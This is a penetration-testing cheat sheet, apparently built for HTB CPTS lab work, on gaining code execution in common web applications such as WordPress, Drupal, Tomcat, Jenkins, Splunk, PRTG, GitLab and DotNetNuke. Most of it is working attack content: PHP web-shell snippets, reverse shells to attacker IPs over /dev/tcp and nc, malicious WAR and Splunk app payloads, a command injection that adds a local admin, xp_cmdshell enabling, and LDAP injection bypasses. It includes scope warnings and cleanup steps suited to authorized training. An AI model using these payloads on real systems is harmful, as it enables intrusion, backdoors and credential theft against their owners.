← Previous: Common Services · Workflow dashboard · Next: Linux PrivEsc →

Attacking Common Applications — CPTS Cheat Sheet fas:ClipboardList

[!dashboard] Section context Section: HTB Pentest Workflow · Companion: Attacking Common Services Source module: 24 · Attacking Common Applications · Web deep dive: 03 - Stage 02 - Web Enumeration and Exploitation · Shell reference: Web Shells

Summary ris:Eye

The off-the-shelf web apps you meet on nearly every internal network — CMS (WordPress, Joomla, Drupal, DotNetNuke), servlet/app servers (Tomcat, Jenkins), infrastructure/monitoring (Splunk, PRTG, osTicket, GitLab), plus CGI/Shellshock, ColdFusion, IIS short-name disclosure, LDAP-backed logins, mass-assignment, and thick clients. The pattern repeats: fingerprint the app and exact version → reach the admin/management console (default creds, brute, or OSINT) → turn admin access into code execution via a theme/plugin/template editor, a script console, a WAR/app upload, or a version-specific CVE.

[!success]+ Default payload — the rp-shell family fas:Spider The moment you land an upload or RCE primitive, drop the bundled shell that matches the app server. Full usage, evasion, and handler notes live in Web Shells:

• IIS / ASP.NET (C#): nt-webshell-rosepine.aspx (SHA-256 · GPG signature)
• PHP (WordPress, Joomla, Drupal, osTicket): rp-shell.php (SHA-256 · GPG signature)
• Classic ASP (VBScript): rp-shell.asp (SHA-256 · GPG signature)
• Tomcat / Java (WAR deploy): rp-shell.jsp (SHA-256 · GPG signature)

[!warning]+ ASP ≠ ASPX — match the language to the extension fas:TriangleExclamation Classic ASP executes VBScript; ASPX executes C#. Dropping VBScript code into a .aspx file fails at runtime with Server Error in '/' Application — VBScript → .asp, C# → .aspx. For an IIS/ASP.NET target always upload the C# [nt-webshell-rosepine.aspx](/downloads/pentest-workflow/nt-webshell-rosepine.aspx) ([SHA-256](/downloads/pentest-workflow/nt-webshell-rosepine.aspx.sha256) · [GPG signature](/downloads/pentest-workflow/nt-webshell-rosepine.aspx.sha256.asc)) variant.

[!tip]+ After the shell — hand-off to privilege escalation fas:ArrowUp Windows app host (IIS, DNN, ColdFusion, PRTG, Tomcat-on-Windows): continue with 04 - Windows Privilege Escalation - CPTS Cheat Sheet — stage [winPEASx64.exe](/downloads/pentest-workflow/winPEASx64.exe) ([SHA-256](/downloads/pentest-workflow/winPEASx64.exe.sha256) · [GPG signature](/downloads/pentest-workflow/winPEASx64.exe.sha256.asc)) for enumeration and, when the service account holds SeImpersonatePrivilege (IIS apppool / MSSQL / Jenkins almost always do), fire [PrintSpoofer64.exe](/downloads/pentest-workflow/PrintSpoofer64.exe) ([SHA-256](/downloads/pentest-workflow/PrintSpoofer64.exe.sha256) · [GPG signature](/downloads/pentest-workflow/PrintSpoofer64.exe.sha256.asc)) for SYSTEM. Linux app host (WordPress, Drupal, GitLab, Splunk, CGI): continue with 03 - Linux Privilege Escalation - CPTS Cheat Sheet — stage [linpeas.sh](/downloads/pentest-workflow/linpeas.sh) ([SHA-256](/downloads/pentest-workflow/linpeas.sh.sha256) · [GPG signature](/downloads/pentest-workflow/linpeas.sh.sha256.asc)) and watch cron/processes with [pspy64](/downloads/pentest-workflow/pspy64) ([SHA-256](/downloads/pentest-workflow/pspy64.sha256) · [GPG signature](/downloads/pentest-workflow/pspy64.sha256.asc)).

[!danger]+ HTB-Only Boundary fas:TriangleExclamation

1. Authorized engagements / labs only. Many chains here (Drupalgeddon, Ghostcat, ColdFusion RCE, GitLab ExifTool) are full unauth/auth RCE — destructive if misused.
2. Admin-console RCE (theme/plugin/script editors) plants a live backdoor — track every file and remove it.
3. --api-token, breach-data lookups, and OSINT touch third parties — stay in scope.

0 · Discovery & triage fas:Terminal

printf "%s\t%s\n" "$IP" "app.inlanefreight.local dev.inlanefreight.local blog.inlanefreight.local" | sudo tee -a /etc/hosts

sudo nmap -p 80,443,8000,8080,8180,8888,10000 --open -oA web_discovery -iL scope_list
sudo nmap --open -sV $IP

# Screenshot the estate to triage fast
eyewitness --web -x web_discovery.xml -d inlanefreight_eyewitness
cat web_discovery.xml | ./aquatone -nmap
#   modern equivalents: httpx -screenshot · gowitness · nuclei

[!tip]+ Prioritise the odd vhosts fas:Lightbulb Flag any host/vhost containing dev / qa / acc / stage — non-prod copies are patched last and log-in restrictions are looser. Fingerprint before attacking: never run a WordPress chain against Joomla, or MySQL syntax against MSSQL.

Application config & loot map fas:Map

After a foothold, inspect the application’s own configuration before launching a broad filesystem search. These files often reveal database credentials, signing secrets, service accounts, internal hostnames, and paths to further evidence.

[!warning]+ Handle as sensitive evidence Collect only what the engagement permits. Record the source path, owner/ACL, timestamp, and hash; do not paste live secrets into the note. Re-test recovered credentials deliberately against in-scope services.

1 · WordPress fas:Terminal — PHP, port 80

# Fingerprint: meta generator, robots.txt → wp-admin/wp-content, /wp-json, ?ver=
curl -s http://blog.inlanefreight.local | grep WordPress          # <meta ... content="WordPress 5.8" />
curl -s http://blog.inlanefreight.local/ | grep -E 'themes|plugins'
#   plugin version in wp-content/plugins/<plugin>/readme.txt

# Enumerate (API token = free 75 req/day)
sudo wpscan --url http://blog.inlanefreight.local --enumerate --api-token <TOKEN>
#   --enumerate ap = all plugins · --enumerate u = users
#   user-enum oracle: "invalid username" vs "incorrect password"

# Brute force over XML-RPC (faster — many guesses per request)
sudo wpscan --password-attack xmlrpc -t 20 -U john -P /usr/share/wordlists/rockyou.txt --url http://blog.inlanefreight.local

RCE — Theme Editor (admin ≈ RCE): Appearance → Theme Editor → an inactive theme (Twenty Nineteen) → 404.php, add:

system($_GET[0]);

curl http://blog.inlanefreight.local/wp-content/themes/twentynineteen/404.php?0=id
# Metasploit: exploit/unix/webapp/wp_admin_shell_upload   (malicious plugin + PHP meterpreter)
# Preferred implant: upload [rp-shell.php](/downloads/pentest-workflow/rp-shell.php) ([SHA-256](/downloads/pentest-workflow/rp-shell.php.sha256) · [GPG signature](/downloads/pentest-workflow/rp-shell.php.sha256.asc)) zipped as a plugin, or drop its body into 404.php

Unauth plugin bugs:

# mail-masta LFI (unauthenticated include via pl=)
curl -s "http://blog.inlanefreight.local/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd"

# wpDiscuz unauth upload RCE — CVE-2020-24186 (client-side-only MIME check)
python3 wp_discuz.py -u http://blog.inlanefreight.local -p /?p=1
curl -s "http://blog.inlanefreight.local/wp-content/uploads/2021/08/<uploaded>.php?cmd=id"

Post-ex on the (Linux) host → 03 - Linux Privilege Escalation - CPTS Cheat Sheet with [linpeas.sh](/downloads/pentest-workflow/linpeas.sh) ([SHA-256](/downloads/pentest-workflow/linpeas.sh.sha256) · [GPG signature](/downloads/pentest-workflow/linpeas.sh.sha256.asc)).

2 · Joomla fas:Terminal — PHP/MySQL

# Fingerprint: meta generator, /administrator/, README.txt, version XML
curl -s http://dev.inlanefreight.local/ | grep Joomla
curl -s http://dev.inlanefreight.local/administrator/manifests/files/joomla.xml | xmllint --format -   # <version>3.9.4</version>
#   also plugins/system/cache/cache.xml ; whatweb

# Enumerate
sudo pip3 install droopescan
droopescan scan joomla --url http://dev.inlanefreight.local/

# Brute admin (generic login error → target the known 'admin')
sudo python3 joomla-brute.py -u http://dev.inlanefreight.local -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin

RCE — Template editor: Configuration → Templates → protostar → Templates: Customise → error.php:

system($_GET['dcfdd5e021a869fcc6dfaef8bf31377e']);

curl -s "http://dev.inlanefreight.local/templates/protostar/error.php?dcfdd5e021a869fcc6dfaef8bf31377e=id"
#   or paste the body of [rp-shell.php](/downloads/pentest-workflow/rp-shell.php) ([SHA-256](/downloads/pentest-workflow/rp-shell.php.sha256) · [GPG signature](/downloads/pentest-workflow/rp-shell.php.sha256.asc)) into error.php for the full shell
# CVE-2019-10945 — auth dir-traversal + file delete (core 1.5.0–3.9.4)
python2.7 joomla_dir_trav.py --url "http://dev.inlanefreight.local/administrator/" --username admin --password admin --dir /

3 · Drupal fas:Terminal

# Fingerprint: "Powered by Drupal", CHANGELOG.txt, /node/<id>
curl -s http://drupal.inlanefreight.local | grep Drupal
curl -s http://drupal-acc.inlanefreight.local/CHANGELOG.txt | grep -m2 ""     # Drupal 7.57, 2018-02-21
droopescan scan drupal -u http://drupal.inlanefreight.local

RCE — PHP Filter module (Drupal 7; disabled by default): enable PHP filter → add a Basic page with Text format = PHP code:

<?php system($_GET['dcfdd5e021a869fcc6dfaef8bf31377e']); ?>

curl -s "http://drupal-qa.inlanefreight.local/node/3?dcfdd5e021a869fcc6dfaef8bf31377e=id"
# Drupal 8+ removed it from core → install the module:
wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz    # Reports > Available updates > Install new module

RCE — backdoored module upload (Drupal 8+):

wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz && tar xvf captcha-8.x-1.2.tar.gz
# add shell.php: <?php system($_GET['fe8edbabc5c5c9b7b764504cd22b17af']); ?>  (or [rp-shell.php](/downloads/pentest-workflow/rp-shell.php) ([SHA-256](/downloads/pentest-workflow/rp-shell.php.sha256) · [GPG signature](/downloads/pentest-workflow/rp-shell.php.sha256.asc)))
# add .htaccess re-enabling /modules access, then:
mv shell.php .htaccess captcha && tar cvf captcha.tar.gz captcha/
#   Manage → Extend → + Install new module → captcha.tar.gz
curl -s "http://drupal.inlanefreight.local/modules/captcha/shell.php?fe8edbabc5c5c9b7b764504cd22b17af=id"

Drupalgeddon family:

# CVE-2014-3704 · pre-auth SQLi, Drupal 7.0–7.31 → rogue admin
python2.7 drupalgeddon.py -t http://drupal-qa.inlanefreight.local -u hacker -p pwnd     # msf: multi/http/drupal_drupageddon

# CVE-2018-7600 (Drupalgeddon2) · pre-auth RCE, <7.58 / <8.5.1
python3 drupalgeddon2.py
curl http://drupal-dev.inlanefreight.local/mrb3n.php?fe8edbabc5c5c9b7b764504cd22b17af=id

# CVE-2018-7602 (Drupalgeddon3) · auth RCE — msf multi/http/drupal_drupageddon3
#   needs node-delete rights + a valid session cookie (set DRUPAL_SESSION, DRUPAL_NODE, VHOST)

4 · Tomcat fas:Terminal — 8080/8180, AJP 8009

# Fingerprint + find the manager
curl -s http://app-dev.inlanefreight.local:8080/docs/ | grep Tomcat     # Apache Tomcat 9 (9.0.30)
gobuster dir -u http://web01.inlanefreight.local:8180/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt
#   creds live in conf/tomcat-users.xml (roles: manager-gui / manager-script / manager-jmx / manager-status)
#   /manager/html = GUI · /manager/text = script interface (used by msf and tooling)

# Brute: msf auxiliary/scanner/http/tomcat_mgr_login (set VHOST, RPORT 8180, stop_on_success true)

Default / common manager credentials:

RCE — WAR deploy (manager → JSP web shell):

# Preferred: package the bundled JSP shell as a WAR (a .war is just a zip)
jar -cvf shell.war rp-shell.jsp                 # [rp-shell.jsp](/downloads/pentest-workflow/rp-shell.jsp) ([SHA-256](/downloads/pentest-workflow/rp-shell.jsp.sha256) · [GPG signature](/downloads/pentest-workflow/rp-shell.jsp.sha256.asc))  (zip -r shell.war rp-shell.jsp also works)
#   Manager GUI → "WAR file to deploy" → shell.war → app root = war filename
curl "http://web01.inlanefreight.local:8180/shell/rp-shell.jsp"

# Fallback one-liner cmd shell
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp                       # Manager → deploy backup.war
curl "http://web01.inlanefreight.local:8180/backup/cmd.jsp?cmd=id"

# Reverse-shell WAR + automated manager upload
msfvenom -p java/jsp_shell_reverse_tcp LHOST=$LHOST LPORT=443 -f war -o backup.war
msfconsole -q -x "use exploit/multi/http/tomcat_mgr_upload; set RHOSTS web01.inlanefreight.local; set RPORT 8180; \
  set HttpUsername tomcat; set HttpPassword s3cret; set TARGETURI /manager; run"
#   manager-script creds can also deploy via: curl -u tomcat:s3cret -T backup.war "http://host:8180/manager/text/deploy?path=/backup"

Unauth / OS-specific CVEs:

# Ghostcat — CVE-2020-1938 · unauth AJP LFI (< 9.0.31 / 8.5.51 / 7.0.100)
nmap -sV -p 8009,8080 app-dev.inlanefreight.local
python2.7 tomcat-ajp.lfi.py app-dev.inlanefreight.local -p 8009 -f WEB-INF/web.xml

# CGI Servlet injection — CVE-2019-0232 (Windows only; & chains, URL-encode to bypass)
ffuf -w /usr/share/dirb/wordlists/common.txt -u http://10.129.204.227:8080/cgi/FUZZ.bat
# http://10.129.204.227:8080/cgi/welcome.bat?&c%3A%5Cwindows%5Csystem32%5Cwhoami.exe   (%3A=: %5C=\)

On Windows the Tomcat service usually runs as a service account with SeImpersonatePrivilege → post-ex with 04 - Windows Privilege Escalation - CPTS Cheat Sheet (winPEASx64.exe (SHA-256 · GPG signature), PrintSpoofer64.exe (SHA-256 · GPG signature)`).

5 · Jenkins fas:Terminal — 8080 (lab 8000), agent 5000

Runs as SYSTEM (Windows) / root (Linux). Check anonymous read/build first (/script, /asynchPeople, /jenkins/script on older installs), then the Groovy Script Console at /script.

// Run a command
def cmd = 'id'
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = cmd.execute(); proc.consumeProcessOutput(sout, serr); proc.waitForOrKill(1000)
println sout

// Linux reverse shell
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.10.14.15/8443;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

// Windows command
def cmd = "cmd.exe /c dir".execute(); println("${cmd.text}");

// Windows reverse shell (PowerShell cradle from the Script Console)
def cmd = "powershell -e <base64-revshell>".execute(); println("${cmd.text}");

# Automated authenticated RCE once you have any admin-ish account:
msfconsole -q -x "use exploit/multi/http/jenkins_script_console; set RHOSTS $IP; set USERNAME admin; set PASSWORD admin; run"

CVE chain (patched by 2.303.1 LTS): CVE-2018-1999002 + CVE-2019-1003000 — script-security sandbox bypass, pre-auth RCE on 2.137.

A SYSTEM shell on Windows Jenkins hands you SeImpersonatePrivilege out of the box → 04 - Windows Privilege Escalation - CPTS Cheat Sheet with [winPEASx64.exe](/downloads/pentest-workflow/winPEASx64.exe) ([SHA-256](/downloads/pentest-workflow/winPEASx64.exe.sha256) · [GPG signature](/downloads/pentest-workflow/winPEASx64.exe.sha256.asc)) / [PrintSpoofer64.exe](/downloads/pentest-workflow/PrintSpoofer64.exe) ([SHA-256](/downloads/pentest-workflow/PrintSpoofer64.exe.sha256) · [GPG signature](/downloads/pentest-workflow/PrintSpoofer64.exe.sha256.asc)); on Linux hand off to 03 - Linux Privilege Escalation - CPTS Cheat Sheet with [linpeas.sh](/downloads/pentest-workflow/linpeas.sh) ([SHA-256](/downloads/pentest-workflow/linpeas.sh.sha256) · [GPG signature](/downloads/pentest-workflow/linpeas.sh.sha256.asc)) / [pspy64](/downloads/pentest-workflow/pspy64) ([SHA-256](/downloads/pentest-workflow/pspy64.sha256) · [GPG signature](/downloads/pentest-workflow/pspy64.sha256.asc)).

6 · Splunk fas:Terminal — web 8000, mgmt/REST 8089

sudo nmap -sV $IP        # 8000 & 8089 = Splunkd httpd ; trial drops to unauth "Free" after 60 days
# Default/weak: admin:changeme (shown on login page), admin:Welcome1, admin:Password123
# REST check: curl -k -u admin:changeme https://$IP:8089/services/server/info

RCE — malicious custom app (splunk_shell/ with bin/ + default/). default/inputs.conf:

[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10

bin/run.bat:

@ECHO OFF
PowerShell.exe -exec bypass -w hidden -Command "& '%~dpn0.ps1'"
Exit

tar -cvzf updater.tar.gz splunk_shell/ && sudo nc -lnvp 443
#   Manage Apps → Install app from file → updater.tar.gz   (shell as nt authority\system / root)
#   Universal Forwarders lack Python → use the PowerShell/.bat variant, not the Python one
#   Pivot: drop the app in $SPLUNK_HOME/etc/deployment-apps → RCE on every Forwarder

[!tip]+ Thin-privilege accounts still pop boxes fas:Lightbulb A non-admin Splunk user holding edit_user or admin_all_objects-adjacent capabilities can push apps over REST (8089) — PySplunkWhisperer2 automates app-upload RCE for exactly this case. After SYSTEM on the Splunk host, hand off to 04 - Windows Privilege Escalation - CPTS Cheat Sheet (Windows) or 03 - Linux Privilege Escalation - CPTS Cheat Sheet (Linux).

7 · PRTG Network Monitor fas:Terminal — Windows, 8080

sudo nmap -sV -p- --open -T4 $IP
curl -s "http://$IP:8080/index.htm" -A "Mozilla/5.0 (compatible; MSIE 7.01; Windows NT 5.0)" | grep version
#   "PRTG Network Monitor 17.3.33.2830"  (< 18.2.39 = vulnerable)
# Default: prtgadmin:prtgadmin (often pre-filled) ; weak: prtgadmin:Password123

RCE — CVE-2018-9276 (authenticated command injection via a notification, blind): Setup → Account Settings → Notifications → Add → tick EXECUTE PROGRAM → Program File: Demo exe notification - outfile.ps1“ with parameter:

test.txt;net user prtgadm1 Pwn3d_by_PRTG! /add;net localgroup administrators prtgadm1 /add

Save → Test, then confirm out-of-band:

sudo nxc smb $IP -u prtgadm1 -p 'Pwn3d_by_PRTG!'      # (Pwn3d!) = local admin   [HTB: Netmon]
#   msf: exploit/windows/http/prtg_authenticated_rce

8 · osTicket fas:Terminal — methodology / OSINT (no core CVE in the module)

Fingerprint by the OSTSESSID cookie and the “powered by osTicket” footer.

• Submit a ticket → harvest the company reply-to email → self-register on portals that gate by email domain (Slack, GitLab, Mattermost, Rocket.Chat).
• Mine closed tickets for password resets / “standard new-joiner password” sent in plaintext; export the address book as a spraying user list.

# Breach-data OSINT for reuse
sudo python3 dehashed.py -q inlanefreight.local -p     # e.g. password : Fish1ng_s3ason!
#   alternatives: HIBP, intelx.io, linkedin2username   [HTB: Delivery]

CVE pointers (version-gated — always pull the exact build first):

9 · GitLab fas:Terminal — Linux (lab 8081)

# /explore lists public projects unauthenticated; version via /help after login
# Username enum via /users/sign_up ("Email has already been taken") — works even if sign-up is disabled
./gitlab_userenum.sh --url http://gitlab.inlanefreight.local:8081/ --userlist users.txt
#   lockout: 10 fails → 10-min auto-unlock
# Register hacker:Welcome1 → /explore for secrets, SSH keys, commit history, snippets

RCE — GitLab CE ≤ 13.10.2 (authenticated, ExifTool metadata parsing; Exploit-DB 49951):

python3 gitlab_13_10_2_rce.py -t http://gitlab.inlanefreight.local:8081 -u mrb3n -p password1 \
  -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.15 8443 >/tmp/f '
nc -lnvp 8443        # shell as git (uid 996)
#   successor: CVE-2021-22205 — unauth ExifTool RCE on later versions (DjVu parser, file upload → RCE)

Post-ex as git → loot /etc/gitlab/gitlab.rb + Rails secrets, then 03 - Linux Privilege Escalation - CPTS Cheat Sheet with [linpeas.sh](/downloads/pentest-workflow/linpeas.sh) ([SHA-256](/downloads/pentest-workflow/linpeas.sh.sha256) · [GPG signature](/downloads/pentest-workflow/linpeas.sh.sha256.asc)) / [pspy64](/downloads/pentest-workflow/pspy64) ([SHA-256](/downloads/pentest-workflow/pspy64.sha256) · [GPG signature](/downloads/pentest-workflow/pspy64.sha256.asc)).

10 · CGI / Shellshock fas:Terminal — Linux, cgi-bin (CVE-2014-6271)

# Underlying-bug test (Bash ≤ 4.3)
env y='() { :;}; echo vulnerable-shellshock' bash -c "echo not vulnerable"

# Discover a CGI script (-x cgi appends the extension; 200 w/ 0-length body still worth testing)
gobuster dir -u http://$IP/cgi-bin/ -w /usr/share/wordlists/dirb/small.txt -x cgi
feroxbuster -u http://$IP/cgi-bin/ -w /usr/share/wordlists/dirb/small.txt -t 50 -x cgi

# Exploit via User-Agent (also works in Referer / Cookie)
curl -H 'User-Agent: () { :; }; echo ; echo ; /bin/cat /etc/passwd' bash -s '' http://$IP/cgi-bin/access.cgi

# Reverse shell (as www-data)
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.10.14.38/7777 0>&1' http://$IP/cgi-bin/access.cgi
sudo nc -lvnp 7777
#   patched Bash requires the BASH_FUNC_ prefix

11 · Thick Client Applications fas:Terminal — Windows

Toolkit: Ghidra, IDA, dnSpyEx/dnSpy, JADX, JD-GUI, de4dot, x64dbg, ProcMon, Frida, Wireshark/tcpdump, Burp.

• Hardcoded creds from memory (Restart-Oracle-Service pattern): watch with ProcMon for a temp file in %LOCALAPPDATA%\Temp; on that folder disable inheritance + deny “Delete”/“Delete subfolders and files” so it can’t self-clean, re-run to capture the dropped .bat, then decode the base64 dropper. Or dump from x64dbg: Memory Map → find an -RW-- region with an MZ header (embedded PE) → Dump Memory to File → strings64.exe dump.bin; de4dot deobfuscates .NET, dnSpy decompiles to C#.
• Client/server (Fatty pattern): grep the client jar for the port, patch Spring beans.xml, strip SHA-256 digests + .RSA/.SF from META-INF/MANIFEST.MF, rebuild with jar -cmf.

Select-String -Path fatty-client\* -Pattern "8000" -Recurse

• Path-traversal + SQLi in decompiled logic (JD-GUI): patch currentFolder = "configs" → ".." (server filters / but not ..); the login query is unsanitised:

Login username: qtc' UNION SELECT 1,'abc','a@a','abc','admin
Login password: abc

Password is hashed client-side (SHA-256(username+password+secret)) → patch setPassword() to send plaintext so the UNION literal matches.

12 · ColdFusion fas:Terminal — Windows, port 8500, .cfm/.cfc

# Fingerprint: 8500, /CFIDE/administrator/index.cfm, Server: ColdFusion
nmap -p- -sC -Pn $IP --open
searchsploit adobe coldfusion

# CVE-2010-2861 · dir traversal (≤ 9.0.1) → leaks CF admin hash in password.properties
searchsploit -p 14641 && cp /usr/share/exploitdb/exploits/multiple/remote/14641.py .
python2 14641.py $IP 8500 "../../../../../../../../ColdFusion8/lib/password.properties"

# CVE-2009-2265 · unauth FCKeditor upload RCE (≤ 8.0.1) → shell as CF service account
searchsploit -p 50057 && cp /usr/share/exploitdb/exploits/cfm/webapps/50057.py .
python3 50057.py       # set lhost/lport/rhost/rport inside; uploads JSP, triggers, self-cleans

Windows CF service accounts typically hold SeImpersonatePrivilege → 04 - Windows Privilege Escalation - CPTS Cheat Sheet with [winPEASx64.exe](/downloads/pentest-workflow/winPEASx64.exe) ([SHA-256](/downloads/pentest-workflow/winPEASx64.exe.sha256) · [GPG signature](/downloads/pentest-workflow/winPEASx64.exe.sha256.asc)) / [PrintSpoofer64.exe](/downloads/pentest-workflow/PrintSpoofer64.exe) ([SHA-256](/downloads/pentest-workflow/PrintSpoofer64.exe.sha256) · [GPG signature](/downloads/pentest-workflow/PrintSpoofer64.exe.sha256.asc)).

13 · IIS Tilde (8.3 short-name) Enumeration fas:Terminal — Windows/IIS

nmap -p- -sV -sC --open $IP        # Microsoft IIS httpd 7.5

# Scanner (needs Oracle Java) — reveals ~1 short names (ASPNET~1, TRANSF~1.ASP, CSASPX~1.CS)
java -jar iis_shortname_scanner.jar 0 5 http://$IP/

# Build a wordlist from the recovered prefix, then recover the full name
egrep -r ^transf /usr/share/wordlists/* | sed 's/^[^:]*://' > /tmp/list.txt
gobuster dir -u http://$IP/ -w /tmp/list.txt -x .aspx,.asp
#   tool: github.com/irsdl/IIS-ShortName-Scanner   [HTB: Bounty]

Recovered .asp/.aspx endpoints are prime upload targets — remember the language split: VBScript → [rp-shell.asp](/downloads/pentest-workflow/rp-shell.asp) ([SHA-256](/downloads/pentest-workflow/rp-shell.asp.sha256) · [GPG signature](/downloads/pentest-workflow/rp-shell.asp.sha256.asc)), C# → [nt-webshell-rosepine.aspx](/downloads/pentest-workflow/nt-webshell-rosepine.aspx) ([SHA-256](/downloads/pentest-workflow/nt-webshell-rosepine.aspx.sha256) · [GPG signature](/downloads/pentest-workflow/nt-webshell-rosepine.aspx.sha256.asc)).

14 · DotNetNuke (DNN) fas:Terminal — Windows/IIS, MSSQL

ASP.NET CMS seen on real engagements and in the Attacking Enterprise Networks module labs — treat it as a first-class IIS target alongside WordPress on LAMP.

# Fingerprint: IIS + .aspx + DNN markers
curl -s http://$IP/ | grep -iE 'dnn|dotnetnuke'          # "DNN Platform", __RequestVerificationToken, /Portals/ paths
# SuperUser/host login portal:
curl -s "http://$IP/Login?returnurl=%2fadmin"
#   /Portals/_default · /DesktopModules · Install/InstallWizard.aspx (re-install prompt = juicy if left open)

Credential angle — NFS share leaks web.config (AEN module pattern): DNN boxes frequently sit next to a misconfigured NFS export of the web root. Mount it, pull web.config, and harvest the <connectionStrings> MSSQL credentials plus any documented admin/SuperUser passwords (module example: Administrator:D0tn31Nuk3R0ck$$@123) → log straight in at /Login?returnurl=%2fadmin.

showmount -e $IP
sudo mount -t nfs $IP:/DEV01 /mnt/dnn
grep -iE 'connectionstring|password' /mnt/dnn/DNN/web.config

RCE — Allowable File Extensions abuse (host/SuperUser required):

1. Persona bar → Settings → Security → More → More Security Settings → append asp,aspx (even exe) to Allowable File Extensions → Save.
2. Settings → File Management (or Site Assets) → upload the C# ASPX shell [nt-webshell-rosepine.aspx](/downloads/pentest-workflow/nt-webshell-rosepine.aspx) ([SHA-256](/downloads/pentest-workflow/nt-webshell-rosepine.aspx.sha256) · [GPG signature](/downloads/pentest-workflow/nt-webshell-rosepine.aspx.sha256.asc)) — never the VBScript .asp variant unless you explicitly target classic ASP (wrong language in a .aspx = Server Error in '/' Application).
3. Trigger: http://$IP/Portals/0/nt-webshell-rosepine.aspx — executes as the IIS apppool identity.

RCE — SQL Console → xp_cmdshell (host account → Settings → SQL Console; DNN’s connection usually runs as a privileged SQL login):

EXEC sp_configure 'show advanced options', '1'; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', '1'; RECONFIGURE;
xp_cmdshell 'whoami';        -- nt service\mssql$sqlexpress

[!tip]+ Post-ex hand-off fas:ArrowUp Both paths (IIS apppool via upload, nt service\mssql$ via xp_cmdshell) hold SeImpersonatePrivilege → 04 - Windows Privilege Escalation - CPTS Cheat Sheet: stage [winPEASx64.exe](/downloads/pentest-workflow/winPEASx64.exe) ([SHA-256](/downloads/pentest-workflow/winPEASx64.exe.sha256) · [GPG signature](/downloads/pentest-workflow/winPEASx64.exe.sha256.asc)), then [PrintSpoofer64.exe](/downloads/pentest-workflow/PrintSpoofer64.exe) ([SHA-256](/downloads/pentest-workflow/PrintSpoofer64.exe.sha256) · [GPG signature](/downloads/pentest-workflow/PrintSpoofer64.exe.sha256.asc)) for NT AUTHORITY\SYSTEM.

15 · LDAP Injection & Web Mass Assignment fas:Terminal

# Direct LDAP query (389 / LDAPS 636)
ldapsearch -H ldap://ldap.example.com:389 -D "cn=admin,dc=example,dc=com" -w secret123 \
  -b "ou=people,dc=example,dc=com" "(mail=jdoe@example.com)"

# Fingerprint an LDAP-backed login
nmap -p- -sC -sV --open --min-rate=1000 $IP      # 389 OpenLDAP alongside the web app

LDAP injection auth bypass — special chars * ( ) & |:

Username: *
Password: *
# → (&(objectClass=user)(sAMAccountName=*)(userPassword=*))  matches any user

Mass assignment — an unlisted field (confirmed, admin, role) is bound straight into the insert. Add it to the request body in Burp:

POST /register
username=new&password=test&confirmed=test
#   Rails equivalent: add "admin: true" to the user hash (defeats weak attr_accessible)

Honourable mentions & hardening ris:GlobalLine

Hardening quick ref: disable in-browser PHP editing (WP Theme Editor, Drupal PHP Filter); WP → WordFence + MFA; Tomcat → restrict Manager to localhost/IP-whitelist and purge sample users from tomcat-users.xml; Jenkins → Matrix Authorization; Splunk/PRTG → change defaults + patch; GitLab → sign-up restrictions; DNN → lock down Allowable File Extensions, remove the SQL Console from host menus, and never export the web root over NFS. WAF is defence-in-depth only.

Evidence & cleanup checklist fas:Broom

• Save the exact URL, virtual host, product/version evidence, account context, and request or console action.
• Hash every uploaded WAR, plugin, module, script, or executable and record its destination path.
• Record configuration changes: enabled script consoles, notification actions, themes/plugins, tasks, created users, and allowable file extensions (DNN) or xp_cmdshell toggles.
• Remove uploaded payloads and temporary users; restore edited files/settings from a known baseline (sp_configure 'xp_cmdshell', '0'; RECONFIGURE; and re-lock DNN extensions).
• Re-request the affected route and check the filesystem/process list to confirm the backdoor no longer exists.
• Move recovered hosts, users, and credentials into the scoped target matrix; keep actual secrets in protected storage.

Quick CVE index ris:GlobalLine

Default creds: Tomcat tomcat:tomcat/tomcat:s3cret · Splunk admin:changeme · PRTG prtgadmin:prtgadmin · Nagios nagiosadmin:PASSW0RD · WebSphere system:manager. Key ports: Tomcat 8080/8180 · AJP 8009 · Jenkins agent 5000 · Splunk 8000/8089 · PRTG 8080 · ColdFusion 8500 · GitLab lab 8081 · LDAP 389/636 · MSSQL 1433 (DNN SQL Console) · NFS 2049 (DNN web.config leak).

Lessons Learned fas:Lightbulb

1. Version is the whole game. Every CVE here is gated on an exact version — pull it from the meta generator, CHANGELOG.txt, joomla.xml, /docs, or a favicon hash before choosing an exploit.
2. Admin console = RCE. WordPress/Joomla/Drupal editors, the Jenkins Script Console, Tomcat Manager, and the DNN host menus all turn “I’m logged in as admin” into code execution — default creds and a short spray get you there more often than a CVE.
3. Upload = plant a backdoor. WAR/plugin/custom-app uploads leave a live shell on disk; note the path and remove it at cleanup. Standardise on the rp-shell family — and match language to extension (VBScript → .asp, C# → .aspx) or IIS answers with Server Error in '/' Application.
4. Apps hold creds for other systems. Config files, connection strings (thick clients, ELF/DLL reversing, DNN web.config over an open NFS share), and osTicket/GitLab secrets feed straight into service attacks and lateral movement — always test recovered creds for reuse.
5. The database is an execution engine. DNN’s SQL Console (and any MSSQL admin path) is one sp_configure 'xp_cmdshell', '1' away from a shell as the SQL service account — check SeImpersonatePrivilege immediately after.
6. dev/qa/acc first. Non-prod copies are patched last and gated loosest.

References fas:BookOpen

1. HTB Academy — Attacking Common Applications
2. HTB Academy — Attacking Enterprise Networks (DNN / web.config / PrintSpoofer chain)
3. WPScan · droopescan
4. tennc/webshell (JSP cmd.jsp)
5. irsdl/IIS-ShortName-Scanner
6. WordPress Developer Resources — Editing wp-config.php
7. Jenkins — System Configuration
8. DNN Platform (source & docs)
9. CsEnox/Gitlab-Exiftool-RCE · Exploit-DB 49951 — GitLab 13.10.2 authenticated RCE · NVD — CVE-2021-22205
